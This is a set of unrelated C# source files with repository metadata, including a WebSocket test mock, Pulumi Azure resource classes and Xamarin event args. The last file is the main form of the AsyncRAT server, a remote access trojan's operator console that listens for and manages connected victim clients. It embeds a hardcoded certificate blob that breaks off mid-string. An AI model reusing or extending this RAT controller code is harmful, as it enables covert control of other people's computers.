using System; using System.Net; using System.Net.WebSockets; using System.Threading; using System.Threading.Tasks; namespace SocialApis.Test.Utils { /// <summary> /// テスト用のWebSocketサーバ /// </summary> internal class WebSocketMockServer : IDisposable { private readonly string _url; private readonly string _subProtocol; private HttpListenerWebSocketContext _wssContext; private HttpListener _httpListener; /// <summary> /// <see cref="WebSocketMockServer"/>を生成する /// </summary> /// <param name="url"></param> /// <param name="subProtocol"></param> public WebSocketMockServer(string url, string subProtocol = null) { this._url = url; this._subProtocol = subProtocol; } /// <summary> /// WebSocketサーバを開始する /// </summary> /// <returns></returns> public async Task Start() { var httpListener = this._httpListener = new HttpListener(); httpListener.Prefixes.Add(this._url); httpListener.Start(); var httpContext = await httpListener.GetContextAsync().ConfigureAwait(false); if (!httpContext.Request.IsWebSocketRequest) { throw new NotSupportedException("WebSocket only."); } this._wssContext = await httpContext.AcceptWebSocketAsync(this._subProtocol).ConfigureAwait(false); } /// <summary> /// クライアントからのメッセージを受信する /// </summary> /// <param name="buffer"></param> /// <param name="cancellationToken"></param> /// <returns></returns> public Task<WebSocketReceiveResult> ReceiveAsync(ArraySegment<byte> buffer, CancellationToken? cancellationToken = null) => this._wssContext.WebSocket.ReceiveAsync(buffer, cancellationToken ?? CancellationToken.None); /// <summary> /// クライアントへメッセージを送信する /// </summary> /// <param name="data">送信するデータ</param> /// <param name="messageType">メッセージの種類</param> /// <param name="endOfMessage">メッセージの終端であるかのフラグ</param> /// <param name="cancellationToken"></param> /// <returns></returns> public Task SendAsync(ArraySegment<byte> data, WebSocketMessageType messageType, bool endOfMessage = true, CancellationToken? cancellationToken = null) => this._wssContext.WebSocket.SendAsync(data, messageType, endOfMessage, cancellationToken ?? CancellationToken.None); /// <summary> /// 接続を閉じる /// </summary> /// <param name="status"></param> /// <param name="statusDescription"></param> /// <param name="cancellationToken"></param> /// <returns></returns> public Task Close(WebSocketCloseStatus status, string? statusDescription = null, CancellationToken? cancellationToken = null) => this._wssContext.WebSocket.CloseAsync(status, statusDescription, cancellationToken ?? CancellationToken.None); /// <summary> /// <see cref="IDisposable.Dispose"/> /// </summary> void IDisposable.Dispose() { this.Close(WebSocketCloseStatus.NormalClosure, null, CancellationToken.None).Wait(); this._httpListener.Close(); } } }
37.561798
159
0.615615
[ "MIT" ]
atst1996/Liberfy.SocialApis
SocialApis.Test/Utils/WebSocketMockServer.cs
3,533
C#
using Alabo.Web.Mvc.Attributes; namespace Alabo.Framework.Themes.Domain.Enums { [ClassProperty(Name = "窗口类型")] public enum WidgetType { Default = 1, AutoForm = 2 } }
17.909091
47
0.629442
[ "MIT" ]
tongxin3267/alabo
src/01.framework/05-Alabo.Framework.Themes/Domain/Enums/WidgetType.cs
207
C#
// *** WARNING: this file was generated by the Pulumi SDK Generator. *** // *** Do not edit by hand unless you're certain you know what you are doing! *** using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Threading.Tasks; using Pulumi.Serialization; namespace Pulumi.AzureNative.Storage { /// <summary> /// The storage account. /// API Version: 2021-01-01. /// </summary> [AzureNativeResourceType("azure-native:storage:StorageAccount")] public partial class StorageAccount : Pulumi.CustomResource { /// <summary> /// Required for storage accounts where kind = BlobStorage. The access tier used for billing. /// </summary> [Output("accessTier")] public Output<string> AccessTier { get; private set; } = null!; /// <summary> /// Allow or disallow public access to all blobs or containers in the storage account. The default interpretation is true for this property. /// </summary> [Output("allowBlobPublicAccess")] public Output<bool?> AllowBlobPublicAccess { get; private set; } = null!; /// <summary> /// Indicates whether the storage account permits requests to be authorized with the account access key via Shared Key. If false, then all requests, including shared access signatures, must be authorized with Azure Active Directory (Azure AD). The default value is null, which is equivalent to true. /// </summary> [Output("allowSharedKeyAccess")] public Output<bool?> AllowSharedKeyAccess { get; private set; } = null!; /// <summary> /// Provides the identity based authentication settings for Azure Files. /// </summary> [Output("azureFilesIdentityBasedAuthentication")] public Output<Outputs.AzureFilesIdentityBasedAuthenticationResponse?> AzureFilesIdentityBasedAuthentication { get; private set; } = null!; /// <summary> /// Blob restore status /// </summary> [Output("blobRestoreStatus")] public Output<Outputs.BlobRestoreStatusResponse> BlobRestoreStatus { get; private set; } = null!; /// <summary> /// Gets the creation date and time of the storage account in UTC. /// </summary> [Output("creationTime")] public Output<string> CreationTime { get; private set; } = null!; /// <summary> /// Gets the custom domain the user assigned to this storage account. /// </summary> [Output("customDomain")] public Output<Outputs.CustomDomainResponse> CustomDomain { get; private set; } = null!; /// <summary> /// Allows https traffic only to storage service if sets to true. /// </summary> [Output("enableHttpsTrafficOnly")] public Output<bool?> EnableHttpsTrafficOnly { get; private set; } = null!; /// <summary> /// NFS 3.0 protocol support enabled if set to true. /// </summary> [Output("enableNfsV3")] public Output<bool?> EnableNfsV3 { get; private set; } = null!; /// <summary> /// Gets the encryption settings on the account. If unspecified, the account is unencrypted. /// </summary> [Output("encryption")] public Output<Outputs.EncryptionResponse> Encryption { get; private set; } = null!; /// <summary> /// The extendedLocation of the resource. /// </summary> [Output("extendedLocation")] public Output<Outputs.ExtendedLocationResponse?> ExtendedLocation { get; private set; } = null!; /// <summary> /// If the failover is in progress, the value will be true, otherwise, it will be null. /// </summary> [Output("failoverInProgress")] public Output<bool> FailoverInProgress { get; private set; } = null!; /// <summary> /// Geo Replication Stats /// </summary> [Output("geoReplicationStats")] public Output<Outputs.GeoReplicationStatsResponse> GeoReplicationStats { get; private set; } = null!; /// <summary> /// The identity of the resource. /// </summary> [Output("identity")] public Output<Outputs.IdentityResponse?> Identity { get; private set; } = null!; /// <summary> /// Account HierarchicalNamespace enabled if sets to true. /// </summary> [Output("isHnsEnabled")] public Output<bool?> IsHnsEnabled { get; private set; } = null!; /// <summary> /// Gets the Kind. /// </summary> [Output("kind")] public Output<string> Kind { get; private set; } = null!; /// <summary> /// Allow large file shares if sets to Enabled. It cannot be disabled once it is enabled. /// </summary> [Output("largeFileSharesState")] public Output<string?> LargeFileSharesState { get; private set; } = null!; /// <summary> /// Gets the timestamp of the most recent instance of a failover to the secondary location. Only the most recent timestamp is retained. This element is not returned if there has never been a failover instance. Only available if the accountType is Standard_GRS or Standard_RAGRS. /// </summary> [Output("lastGeoFailoverTime")] public Output<string> LastGeoFailoverTime { get; private set; } = null!; /// <summary> /// The geo-location where the resource lives /// </summary> [Output("location")] public Output<string> Location { get; private set; } = null!; /// <summary> /// Set the minimum TLS version to be permitted on requests to storage. The default interpretation is TLS 1.0 for this property. /// </summary> [Output("minimumTlsVersion")] public Output<string?> MinimumTlsVersion { get; private set; } = null!; /// <summary> /// The name of the resource /// </summary> [Output("name")] public Output<string> Name { get; private set; } = null!; /// <summary> /// Network rule set /// </summary> [Output("networkRuleSet")] public Output<Outputs.NetworkRuleSetResponse> NetworkRuleSet { get; private set; } = null!; /// <summary> /// Gets the URLs that are used to perform a retrieval of a public blob, queue, or table object. Note that Standard_ZRS and Premium_LRS accounts only return the blob endpoint. /// </summary> [Output("primaryEndpoints")] public Output<Outputs.EndpointsResponse> PrimaryEndpoints { get; private set; } = null!; /// <summary> /// Gets the location of the primary data center for the storage account. /// </summary> [Output("primaryLocation")] public Output<string> PrimaryLocation { get; private set; } = null!; /// <summary> /// List of private endpoint connection associated with the specified storage account /// </summary> [Output("privateEndpointConnections")] public Output<ImmutableArray<Outputs.PrivateEndpointConnectionResponse>> PrivateEndpointConnections { get; private set; } = null!; /// <summary> /// Gets the status of the storage account at the time the operation was called. /// </summary> [Output("provisioningState")] public Output<string> ProvisioningState { get; private set; } = null!; /// <summary> /// Maintains information about the network routing choice opted by the user for data transfer /// </summary> [Output("routingPreference")] public Output<Outputs.RoutingPreferenceResponse?> RoutingPreference { get; private set; } = null!; /// <summary> /// Gets the URLs that are used to perform a retrieval of a public blob, queue, or table object from the secondary location of the storage account. Only available if the SKU name is Standard_RAGRS. /// </summary> [Output("secondaryEndpoints")] public Output<Outputs.EndpointsResponse> SecondaryEndpoints { get; private set; } = null!; /// <summary> /// Gets the location of the geo-replicated secondary for the storage account. Only available if the accountType is Standard_GRS or Standard_RAGRS. /// </summary> [Output("secondaryLocation")] public Output<string> SecondaryLocation { get; private set; } = null!; /// <summary> /// Gets the SKU. /// </summary> [Output("sku")] public Output<Outputs.SkuResponse> Sku { get; private set; } = null!; /// <summary> /// Gets the status indicating whether the primary location of the storage account is available or unavailable. /// </summary> [Output("statusOfPrimary")] public Output<string> StatusOfPrimary { get; private set; } = null!; /// <summary> /// Gets the status indicating whether the secondary location of the storage account is available or unavailable. Only available if the SKU name is Standard_GRS or Standard_RAGRS. /// </summary> [Output("statusOfSecondary")] public Output<string> StatusOfSecondary { get; private set; } = null!; /// <summary> /// Resource tags. /// </summary> [Output("tags")] public Output<ImmutableDictionary<string, string>?> Tags { get; private set; } = null!; /// <summary> /// The type of the resource. E.g. "Microsoft.Compute/virtualMachines" or "Microsoft.Storage/storageAccounts" /// </summary> [Output("type")] public Output<string> Type { get; private set; } = null!; /// <summary> /// Create a StorageAccount resource with the given unique name, arguments, and options. /// </summary> /// /// <param name="name">The unique name of the resource</param> /// <param name="args">The arguments used to populate this resource's properties</param> /// <param name="options">A bag of options that control this resource's behavior</param> public StorageAccount(string name, StorageAccountArgs args, CustomResourceOptions? options = null) : base("azure-native:storage:StorageAccount", name, args ?? new StorageAccountArgs(), MakeResourceOptions(options, "")) { } private StorageAccount(string name, Input<string> id, CustomResourceOptions? options = null) : base("azure-native:storage:StorageAccount", name, null, MakeResourceOptions(options, id)) { } private static CustomResourceOptions MakeResourceOptions(CustomResourceOptions? options, Input<string>? id) { var defaultOptions = new CustomResourceOptions { Version = Utilities.Version, Aliases = { new Pulumi.Alias { Type = "azure-nextgen:storage:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/latest:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/latest:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20150501preview:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20150501preview:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20150615:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20150615:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20160101:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20160101:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20160501:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20160501:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20161201:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20161201:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20170601:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20170601:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20171001:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20171001:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20180201:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20180201:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20180301preview:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20180301preview:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20180701:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20180701:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20181101:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20181101:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20190401:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20190401:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20190601:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20190601:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20200801preview:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20200801preview:StorageAccount"}, new Pulumi.Alias { Type = "azure-native:storage/v20210101:StorageAccount"}, new Pulumi.Alias { Type = "azure-nextgen:storage/v20210101:StorageAccount"}, }, }; var merged = CustomResourceOptions.Merge(defaultOptions, options); // Override the ID if one was specified for consistency with other language SDKs. merged.Id = id ?? merged.Id; return merged; } /// <summary> /// Get an existing StorageAccount resource's state with the given name, ID, and optional extra /// properties used to qualify the lookup. /// </summary> /// /// <param name="name">The unique name of the resulting resource.</param> /// <param name="id">The unique provider ID of the resource to lookup.</param> /// <param name="options">A bag of options that control this resource's behavior</param> public static StorageAccount Get(string name, Input<string> id, CustomResourceOptions? options = null) { return new StorageAccount(name, id, options); } } public sealed class StorageAccountArgs : Pulumi.ResourceArgs { /// <summary> /// Required for storage accounts where kind = BlobStorage. The access tier used for billing. /// </summary> [Input("accessTier")] public Input<Pulumi.AzureNative.Storage.AccessTier>? AccessTier { get; set; } /// <summary> /// The name of the storage account within the specified resource group. Storage account names must be between 3 and 24 characters in length and use numbers and lower-case letters only. /// </summary> [Input("accountName")] public Input<string>? AccountName { get; set; } /// <summary> /// Allow or disallow public access to all blobs or containers in the storage account. The default interpretation is true for this property. /// </summary> [Input("allowBlobPublicAccess")] public Input<bool>? AllowBlobPublicAccess { get; set; } /// <summary> /// Indicates whether the storage account permits requests to be authorized with the account access key via Shared Key. If false, then all requests, including shared access signatures, must be authorized with Azure Active Directory (Azure AD). The default value is null, which is equivalent to true. /// </summary> [Input("allowSharedKeyAccess")] public Input<bool>? AllowSharedKeyAccess { get; set; } /// <summary> /// Provides the identity based authentication settings for Azure Files. /// </summary> [Input("azureFilesIdentityBasedAuthentication")] public Input<Inputs.AzureFilesIdentityBasedAuthenticationArgs>? AzureFilesIdentityBasedAuthentication { get; set; } /// <summary> /// User domain assigned to the storage account. Name is the CNAME source. Only one custom domain is supported per storage account at this time. To clear the existing custom domain, use an empty string for the custom domain name property. /// </summary> [Input("customDomain")] public Input<Inputs.CustomDomainArgs>? CustomDomain { get; set; } /// <summary> /// Allows https traffic only to storage service if sets to true. The default value is true since API version 2019-04-01. /// </summary> [Input("enableHttpsTrafficOnly")] public Input<bool>? EnableHttpsTrafficOnly { get; set; } /// <summary> /// NFS 3.0 protocol support enabled if set to true. /// </summary> [Input("enableNfsV3")] public Input<bool>? EnableNfsV3 { get; set; } /// <summary> /// Not applicable. Azure Storage encryption is enabled for all storage accounts and cannot be disabled. /// </summary> [Input("encryption")] public Input<Inputs.EncryptionArgs>? Encryption { get; set; } /// <summary> /// Optional. Set the extended location of the resource. If not set, the storage account will be created in Azure main region. Otherwise it will be created in the specified extended location /// </summary> [Input("extendedLocation")] public Input<Inputs.ExtendedLocationArgs>? ExtendedLocation { get; set; } /// <summary> /// The identity of the resource. /// </summary> [Input("identity")] public Input<Inputs.IdentityArgs>? Identity { get; set; } /// <summary> /// Account HierarchicalNamespace enabled if sets to true. /// </summary> [Input("isHnsEnabled")] public Input<bool>? IsHnsEnabled { get; set; } /// <summary> /// Required. Indicates the type of storage account. /// </summary> [Input("kind", required: true)] public InputUnion<string, Pulumi.AzureNative.Storage.Kind> Kind { get; set; } = null!; /// <summary> /// Allow large file shares if sets to Enabled. It cannot be disabled once it is enabled. /// </summary> [Input("largeFileSharesState")] public InputUnion<string, Pulumi.AzureNative.Storage.LargeFileSharesState>? LargeFileSharesState { get; set; } /// <summary> /// Required. Gets or sets the location of the resource. This will be one of the supported and registered Azure Geo Regions (e.g. West US, East US, Southeast Asia, etc.). The geo region of a resource cannot be changed once it is created, but if an identical geo region is specified on update, the request will succeed. /// </summary> [Input("location")] public Input<string>? Location { get; set; } /// <summary> /// Set the minimum TLS version to be permitted on requests to storage. The default interpretation is TLS 1.0 for this property. /// </summary> [Input("minimumTlsVersion")] public InputUnion<string, Pulumi.AzureNative.Storage.MinimumTlsVersion>? MinimumTlsVersion { get; set; } /// <summary> /// Network rule set /// </summary> [Input("networkRuleSet")] public Input<Inputs.NetworkRuleSetArgs>? NetworkRuleSet { get; set; } /// <summary> /// The name of the resource group within the user's subscription. The name is case insensitive. /// </summary> [Input("resourceGroupName", required: true)] public Input<string> ResourceGroupName { get; set; } = null!; /// <summary> /// Maintains information about the network routing choice opted by the user for data transfer /// </summary> [Input("routingPreference")] public Input<Inputs.RoutingPreferenceArgs>? RoutingPreference { get; set; } /// <summary> /// Required. Gets or sets the SKU name. /// </summary> [Input("sku", required: true)] public Input<Inputs.SkuArgs> Sku { get; set; } = null!; [Input("tags")] private InputMap<string>? _tags; /// <summary> /// Gets or sets a list of key value pairs that describe the resource. These tags can be used for viewing and grouping this resource (across resource groups). A maximum of 15 tags can be provided for a resource. Each tag must have a key with a length no greater than 128 characters and a value with a length no greater than 256 characters. /// </summary> public InputMap<string> Tags { get => _tags ?? (_tags = new InputMap<string>()); set => _tags = value; } public StorageAccountArgs() { } } }
49.097506
347
0.6247
[ "Apache-2.0" ]
pulumi-bot/pulumi-azure-native
sdk/dotnet/Storage/StorageAccount.cs
21,652
C#
using Xamarin.Forms; namespace Ui.MauiX.Models { public class SelectedTabChangedEventArgs { #region Properties public View OldSelectedTabView { get; private set; } public View NewSelectedTabView { get; private set; } #endregion #region Constructor public SelectedTabChangedEventArgs(View oldSelectedTabView, View newSelectedTabView) { OldSelectedTabView = oldSelectedTabView; NewSelectedTabView = newSelectedTabView; } #endregion } }
25.952381
92
0.658716
[ "MIT" ]
ihvrooman/Ui.MauiX
Ui.MauiX/Models/SelectedTabChangedEventArgs.cs
547
C#
// // Copyright (c) Microsoft and contributors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // // See the License for the specific language governing permissions and // limitations under the License. // // Warning: This code was generated by a tool. // // Changes to this file may cause incorrect behavior and will be lost if the // code is regenerated. using System; using System.Linq; using Microsoft.Azure.Management.Sql.LegacySdk.Models; namespace Microsoft.Azure.Management.Sql.LegacySdk.Models { /// <summary> /// The parameters of creating or updating sync group. /// </summary> public partial class SyncGroupCreateOrUpdateParameters { private SyncGroupCreateOrUpdateProperties _properties; /// <summary> /// Required. Specifies other properties of a sync group. /// </summary> public SyncGroupCreateOrUpdateProperties Properties { get { return this._properties; } set { this._properties = value; } } private string _syncGroupName; /// <summary> /// Required. Specifies the name of a sync group. /// </summary> public string SyncGroupName { get { return this._syncGroupName; } set { this._syncGroupName = value; } } /// <summary> /// Initializes a new instance of the SyncGroupCreateOrUpdateParameters /// class. /// </summary> public SyncGroupCreateOrUpdateParameters() { } /// <summary> /// Initializes a new instance of the SyncGroupCreateOrUpdateParameters /// class with required arguments. /// </summary> public SyncGroupCreateOrUpdateParameters(string syncGroupName, SyncGroupCreateOrUpdateProperties properties) : this() { if (syncGroupName == null) { throw new ArgumentNullException("syncGroupName"); } if (properties == null) { throw new ArgumentNullException("properties"); } this.SyncGroupName = syncGroupName; this.Properties = properties; } } }
33.301205
117
0.602026
[ "MIT" ]
3quanfeng/azure-powershell
src/Sql/Sql.LegacySdk/Generated/Models/SyncGroupCreateOrUpdateParameters.cs
2,682
C#
using System; using System.Windows.Forms; using Server.MessagePack; using Server.Connection; using System.Threading.Tasks; using Microsoft.VisualBasic; using System.Linq; using System.Threading; using System.Drawing; using System.IO; using Server.Forms; using Server.Algorithm; using System.Diagnostics; using Server.Handle_Packet; using Server.Helper; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; using System.Runtime.InteropServices; using cGeoIp; /* │ Author : NYAN CAT │ Name : AsyncRAT Simple RAT │ Contact Me : https:github.com/NYAN-x-CAT This program Is distributed for educational purposes only. */ namespace Server { public partial class Form1 : Form { private bool trans; public cGeoMain cGeoMain = new cGeoMain(); private List<AsyncTask> getTasks = new List<AsyncTask>(); private ListViewColumnSorter lvwColumnSorter; public Form1() { InitializeComponent(); SetWindowTheme(listView1.Handle, "explorer", null); this.Opacity = 0; formDOS = new FormDOS { Name = "DOS", Text = "DOS", }; listView1.SmallImageList = cGeoMain.cImageList; listView1.LargeImageList = cGeoMain.cImageList; } #region Form Helper private void CheckFiles() { try { if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"))) { MessageBox.Show("Missing " + Path.GetFileName(Application.ExecutablePath) + ".config"); Environment.Exit(0); } if (!File.Exists(Path.Combine(Application.StartupPath, "Stub\\Stub.exe"))) MessageBox.Show("Stub not found! unzip files again and make sure your AV is OFF"); if (!Directory.Exists(Path.Combine(Application.StartupPath, "Stub"))) Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub")); } catch (Exception ex) { MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); } } private Clients[] GetSelectedClients() { List<Clients> clientsList = new List<Clients>(); Invoke((MethodInvoker)(() => { lock (Settings.LockListviewClients) { if (listView1.SelectedItems.Count == 0) return; foreach (ListViewItem itm in listView1.SelectedItems) { clientsList.Add((Clients)itm.Tag); } } })); return clientsList.ToArray(); } private Clients[] GetAllClients() { List<Clients> clientsList = new List<Clients>(); Invoke((MethodInvoker)(() => { lock (Settings.LockListviewClients) { if (listView1.Items.Count == 0) return; foreach (ListViewItem itm in listView1.Items) { clientsList.Add((Clients)itm.Tag); } } })); return clientsList.ToArray(); } private async void Connect() { try { await Task.Delay(1000); string[] ports = Properties.Settings.Default.Ports.Split(','); foreach (var port in ports) { if (!string.IsNullOrWhiteSpace(port)) { Listener listener = new Listener(); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); thread.IsBackground = true; thread.Start(Convert.ToInt32(port.ToString().Trim())); } } } catch (Exception ex) { MessageBox.Show(ex.Message); Environment.Exit(0); } } #endregion #region Form Events private async void Form1_Load(object sender, EventArgs e) { ListviewDoubleBuffer.Enable(listView1); ListviewDoubleBuffer.Enable(listView2); ListviewDoubleBuffer.Enable(listView3); try { foreach (string client in Properties.Settings.Default.txtBlocked.Split(',')) { if (!string.IsNullOrWhiteSpace(client)) { Settings.Blocked.Add(client); } } } catch { } CheckFiles(); lvwColumnSorter = new ListViewColumnSorter(); this.listView1.ListViewItemSorter = lvwColumnSorter; this.Text = $"{Settings.Version}"; #if DEBUG Settings.ServerCertificate = new X509Certificate2(Convert.FromBase64String("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